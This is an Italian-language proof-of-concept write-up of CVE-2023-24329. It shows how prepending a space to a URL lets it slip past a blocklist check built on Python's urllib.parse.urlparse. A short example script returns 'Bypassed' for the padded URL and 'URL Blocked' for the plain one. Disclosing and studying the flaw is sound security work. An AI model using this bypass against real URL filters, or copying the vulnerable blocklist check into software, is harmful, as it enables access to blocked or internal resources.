
Proof-of-concept che dimostra un bypass nel parsing degli URL in `urllib.parse` di Python (CVE-2023-24329) che consente di aggirare le blocklist anteponendo spazi.
Le funzioni di parsing degli URL si concentrano sulla suddivisione di una stringa URL nei suoi componenti, oppure sulla combinazione dei componenti URL in una stringa URL.
Semplicemente urllib.parse viene usato per il parsing degli URL, possiamo bypassarlo aggiungendo spazi prima dell'URL. Questo accade in Python 3.11.4 e versioni precedenti.
Analizziamo example.py
Ecco un insieme di siti web a cui non dovresti accedere:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Questa funzione controlla se il sito è nella lista bloccata o meno, se è nella lista bloccata dovrebbe restituire URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Ora ho aggiunto due URL e controllo se qualcuno di essi è bloccato e non può essere accessibile:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 è dove ho bypassato is_url_blocked() perché aggiungere uno spazio lungo prima dell'URL bypasserà urllib.parse.urlparse(url).geturl() e non verrà eseguito come previsto.
Ecco perché l'output è
Bypassed
Ma su payload2 otteniamo
URL Blocked
Se desideri supportarmi con una donazione, ti consiglio di darla a qualcuno che ne ha davvero bisogno, per favore. Se lo fai, considera che ho guadagnato il tuo supporto.